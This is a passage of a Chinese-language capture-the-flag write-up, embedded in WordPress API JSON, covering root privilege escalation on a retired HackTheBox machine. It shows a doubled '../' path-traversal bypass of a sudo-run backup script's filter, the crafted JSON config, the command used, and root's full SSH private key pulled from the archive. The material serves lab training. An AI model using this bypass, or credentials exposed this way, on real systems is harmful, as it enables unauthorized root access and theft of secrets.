\/><\/p>\n<p>\u901a\u8fc7\u8054\u7f51\u641c\u7d22\uff0c\u6210\u529f\u786e\u5b9a\u7a0b\u5e8f<code>GitHub<\/code>\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/vdbsh\/backy\" target=\"_blank\"  rel=\"nofollow\" >vdbsh\/backy: tiny multiprocessing utility for file backups<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742723574819-e93c7207-2f0b-448f-b42d-41f8beebfa9d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7a0b\u5e8f\u4e3a\u4e00\u4e2a\u8f7b\u91cf\u5316\u7684\u76ee\u5f55\u5907\u4efd\u5de5\u5177\uff0c\u9700\u8981\u63a5\u6536\u4e00\u4efd<code>JSON<\/code>\u914d\u7f6e\u6587\u4ef6\u4f5c\u4e3a\u5907\u4efd\u8bbe\u7f6e\u4f7f\u7528\u3002\u67e5\u770b<code>martin<\/code>\u7528\u6237\u5bb6\u76ee\u5f55\uff0c\u53d1\u73b0\u5b58\u5728\u5b50\u76ee\u5f55<code>\/home\/martin\/backups\/<\/code>\uff0c\u76ee\u5f55\u5185\u5b58\u5728<code>task.json<\/code>\u6587\u4ef6\u548c\u4e00\u4e2a<code>~\/app<\/code>\u76ee\u5f55\u7684\u538b\u7f29\u5305\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742723748207-055e6d9e-b19a-4f33-ac5d-e880870654f7.png\" alt=\"\" \/><\/p>\n<p>\u63a8\u6d4b<code>task.json<\/code>\u4e3a<code>Backy<\/code>\u5de5\u5177\u7684\u5907\u4efd\u8bbe\u7f6e\u6587\u4ef6\uff0c\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-json\">{\n        \"destination\": \"\/home\/martin\/backups\/\",\n        \"multiprocessing\": true,\n        \"verbose_log\": false,\n        \"directories_to_archive\": [\n                \"\/home\/app-production\/app\"\n        ],\n\n        \"exclude\": [\n                \".*\"\n        ]\n}<\/code><\/pre>\n<p>\u6839\u636e\u6587\u4ef6\u5185\u5bb9\uff0c\u53ef\u786e\u5b9a<code>destination<\/code>\u53c2\u6570\u4f5c\u7528\u4e3a\u8bbe\u7f6e\u538b\u7f29\u5305\u4fdd\u5b58\u8def\u5f84\uff0c<code>directories_to_archive<\/code>\u6570\u7ec4\u53c2\u6570\u7684\u4f5c\u7528\u4e3a\u6307\u5b9a\u9700\u8981\u5907\u4efd\u7684\u76ee\u5f55\u3002<\/p>\n<p>\u7efc\u5408\u4e0a\u8ff0\u5185\u5bb9\u8fdb\u884c\u5206\u6790\uff0c\u53d1\u73b0<code>backy.sh<\/code>\u811a\u672c\u5728\u5904\u7406<code>JSON<\/code>\u914d\u7f6e\u6587\u4ef6<code>directories_to_archive<\/code>\u6570\u7ec4\u5185\u5b57\u7b26\u4e32\u53c2\u6570\u65f6\uff0c\u53ea\u4f7f\u7528<code>jq<\/code>\u547d\u4ee4\u5bf9<code>..\/<\/code>\u76ee\u5f55\u7a7f\u8d8a\u7b26\u53f7\u8fdb\u884c\u4e86\u5220\u9664\uff0c\u800c\u4e0d\u662f\u5728\u68c0\u6d4b\u5230\u8be5\u7b26\u53f7\u540e\u5c31\u62a5\u9519\u9000\u51fa\uff1b\u5728\u5904\u7406\u7ed3\u675f\u540e\uff0c\u53ea\u68c0\u67e5\u4e86\u65b0\u8986\u76d6\u7684<code>JSON<\/code>\u914d\u7f6e\u6587\u4ef6\u5185<code>directories_to_archive<\/code>\u6570\u7ec4\u7684\u7edd\u5bf9\u8def\u5f84\u53c2\u6570\u65f6\uff0c\u53ea\u68c0\u67e5\u4e86\u5f00\u5934\u662f\u5426\u4e3a<code>\/var\/<\/code>\u6216\u8005<code>\/home\/<\/code>\uff0c\u800c\u672a\u68c0\u67e5\u5b57\u7b26\u4e32\u5185\u662f\u5426\u8fd8\u5b58\u5728<code>..\/<\/code>\u76ee\u5f55\u7a7f\u8d8a\u7b26\u53f7\uff0c\u5bfc\u81f4\u771f\u5b9e\u8def\u5f84\u548c\u6587\u4ef6\u5185\u7684\u8def\u5f84\u5b58\u5728\u5dee\u5f02\u3002\u5982\u6b64\u4e00\u6765\uff0c\u53ea\u9700\u8981\u5728<code>..\/<\/code>\u7b26\u53f7\u4e2d\u95f4\u518d\u63d2\u5165\u4e00\u4e2a<code>..\/<\/code>\u7b26\u53f7\uff0c\u5373\u53ef\u8fdb\u884c\u8fc7\u6ee4\u8bcd\u53cc\u5199\u7ed5\u8fc7\u3002<\/p>\n<p>\u6bd4\u5982\uff0c\u5907\u4efd\u76ee\u6807\u76ee\u5f55\u4e3a<code>\/root<\/code>\uff0c\u5219\u5982\u679c\u8def\u5f84\u4ee5<code>\/home\/<\/code>\u4e3a\u5f00\u5934\uff0c\u76f8\u5bf9\u8def\u5f84\u5c31\u4e3a<code>\/home\/..\/root<\/code>\uff0c\u53cc\u5199\u7ed5\u8fc7\u7684\u76ee\u5f55\u5b57\u7b26\u4e32\u5c31\u4e3a<code>\/home\/...\/.\/root<\/code>\u3002<\/p>\n<p>\u6211\u4eec\u76f4\u63a5\u521b\u5efa\u76ee\u5f55<code>\/home\/martin\/misaka<\/code>\u76ee\u5f55\uff0c\u5728\u76ee\u5f55\u5185\u521b\u5efa\u5982\u4e0b<code>sparkle.json<\/code>\u914d\u7f6e\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-json\">{\n        \"destination\": \"\/home\/martin\/misaka\",\n        \"multiprocessing\": true,\n        \"verbose_log\": false,\n        \"directories_to_archive\": [\n                \"\/home\/...\/.\/root\"\n        ]\n}<\/code><\/pre>\n<p>\u968f\u540e\u6267\u884c\u547d\u4ee4\uff08<code>JSON<\/code>\u6587\u4ef6\u8def\u5f84\u5fc5\u987b\u4e3a\u7edd\u5bf9\u8def\u5f84\uff09\uff1a<\/p>\n<pre><code class=\"language-json\">sudo backy.sh \/home\/martin\/misaka\/sparkle.json<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742724792952-9850292e-4bfe-4531-8c9e-35398b7301a4.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u5907\u4efd<code>\/root<\/code>\u76ee\u5f55\uff01\u76f4\u63a5\u4f7f\u7528<code>scp<\/code>\u5de5\u5177\u4e0b\u8f7d\u538b\u7f29\u5305\uff0c\u6253\u5f00<code>\/root\/.ssh<\/code>\u76ee\u5f55\u67e5\u770b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742724889200-1e549923-48f0-421c-8952-6dcb59250166.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0<code>root<\/code>\u7528\u6237\u7684<code>SSH<\/code>\u79c1\u94a5\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-plain\">-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He\/HNHVlhp0CP36OsKSi0DzIZ4K\nsqfjTi\/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+\nzWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y\nMNljAsxyVFn3mzR7nUZ8BAH\/Y9xV\/KuNSPD4SlVqBiUjUKfs2wD3gjLA4ZQZeM5hAJSmVe\nZjpfkQOdE+++H8t2P8qGlobLvboZJ2rghY9CwimX0\/g0uHvcpXAc6U8JJqo9U41WzooAi6\nTWxWYbdO3mjJhm0sunCio5xTtc44M0nbhkRQBliPngaBYleKdvtGicPJb1LtjtE5lHpy+N\nPs1B4EIx+ZlBVaFbIaqxpqDVDUCv0qpaxIKhx\/lKmwXiWEQIie0fXorLDqsjL75M7tY\/u\/\nM7xBuGl+LHGNBnCsvjLvIA6fL99uV+BTKrpHhgV9AAAFgCNrkTMja5EzAAAAB3NzaC1yc2\nEAAAGBAL8T8PdFUSWo4JI8MWal6\/OuVfB3vxzR1ZYadAj9+jrCkotA8yGeCrKn404v1gEX\nMS03uJZFUlSFduS8uTOhHplnjigOr3TjT9EFL+hdcY\/H+Hgoa3aewToUXtPs1iZ2vHWDLb\nkditAsW3XfqrzO6ECz0XpUCMsaEeLp4esDqCH+BC9+GhL0A7sftxrBVJ0+GDDZYwLMclRZ\n95s0e51GfAQB\/2PcVfyrjUjw+EpVagYlI1Cn7NsA94IywOGUGXjOYQCUplXmY6X5EDnRPv\nvh\/Ldj\/KhpaGy726GSdq4IWPQsIpl9P4NLh73KVwHOlPCSaqPVONVs6KAIuk1sVmG3Tt5o\nyYZtLLpwoqOcU7XOODNJ24ZEUAZYj54GgWJXinb7RonDyW9S7Y7ROZR6cvjT7NQeBCMfmZ\nQVWhWyGqsaag1Q1Ar9KqWsSCocf5SpsF4lhECIntH16Kyw6rIy++TO7WP7vzO8Qbhpfixx\njQZwrL4y7yAOny\/fblfgUyq6R4YFfQAAAAMBAAEAAAGBAJZPN4UskBMR7+bZVvsqlpwQji\nYl7L7dCimUEadpM0i5+tF0fE37puq3SwYcdzpQZizt4lTDn2pBuy9gjkfg\/NMsNRWpx7gp\ngIYqkG834rd6VSkgkrizVck8cQRBEI0dZk8CrBss9B+iZSgqlIMGOIl9atHR\/UDX9y4LUd\n6v97kVu3Eov5YdQjoXTtDLOKahTCJRP6PZ9C4Kv87l0D\/+TFxSvfZuQ24J\/ZBdjtPasRa4\nbDlsf9QfxJQ1HKnW+NqhbSrEamLb5klqMhb30SGQGa6ZMnfF8G6hkiJDts54jsmTxAe7bS\ncWnaKGOEZMivCUdCJwjQrwk0TR\/FTzzgTOcxZmcbfjRnXU2NtJiaA8DJCb3SKXshXds97i\nvmNjdD59Py4nGXDdI8mzRfzRS\/3jcsZm11Q5vg7NbLJgiOxw1lCSH+TKl7KFe0CEntGGA9\nQqAtSC5JliB2m5dBG7IOUBa8wDDN2qgPN1TR\/yQRHkB5JqbBWJwOuOHSu8qIR3FzSiOQAA\nAMEApDoMoZR7\/CGfdUZyc0hYB36aDEnC8z2TreKxmZLCcJKy7bbFlvUT8UX6yF9djYWLUo\nkmSwffuZTjBsizWwAFTnxNfiZWdo\/PQaPR3l72S8vA8ARuNzQs92Zmqsrm93zSb4pJFBeJ\n9aYtunsOJoTZ1UIQx+bC\/UBKNmUObH5B14+J+5ALRzwJDzJw1qmntBkXO7e8+c8HLXnE6W\nSbYvkkEDWqCR\/JhQp7A4YvdZIxh3Iv+71O6ntYBlfx9TXePa1UAAAAwQD45KcBDrkadARG\nvEoxuYsWf+2eNDWa2geQ5Po3NpiBs5NMFgZ+hwbSF7y8fQQwByLKRvrt8inL+uKOxkX0LM\ncXRKqjvk+3K6iD9pkBW4rZJfr\/JEpJn\/rvbi3sTsDlE3CHOpiG7EtXJoTY0OoIByBwZabv\n1ZGbv+pyHKU5oWFIDnpGmruOpJqjMTyLhs4K7X+1jMQSwP2snNnTGrObWbzvp1CmAMbnQ9\nvBNJQ5xW5lkQ1jrq0H5ugT1YebSNWLCIsAAADBAMSIrGsWU8S2PTF4kSbUwZofjVTy8hCR\nlt58R\/JCUTIX4VPmqD88CJZE4JUA6rbp5yJRsWsIJY+hgYvHm35LAArJJidQRowtI2\/zP6\n\/DETz6yFAfCSz0wYyB9E7s7otpvU3BIuKMaMKwt0t9yxZc8st0cev3ikGrVa3yLmE02hYW\nj6PbYp7f9qvasJPc6T8PGwtybdk0LdluZwAC4x2jn8wjcjb5r8LYOgtYI5KxuzsEY2EyLh\nhdENGN+hVCh\/\/jFwAAAAlyb290QGNvZGU=\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u76f4\u63a5\u4f7f\u7528\u8be5\u79c1\u94a5\u767b\u5f55<code>SSH<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1742725101678-5c27a6cc-4cae-47f1-8ed2-64063b3994b3.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.62 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.11.62 (10.10.11.62)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-241","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=241"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/241\/revisions"}],"predecessor-version":[{"id":242,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/241\/revisions\/242"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}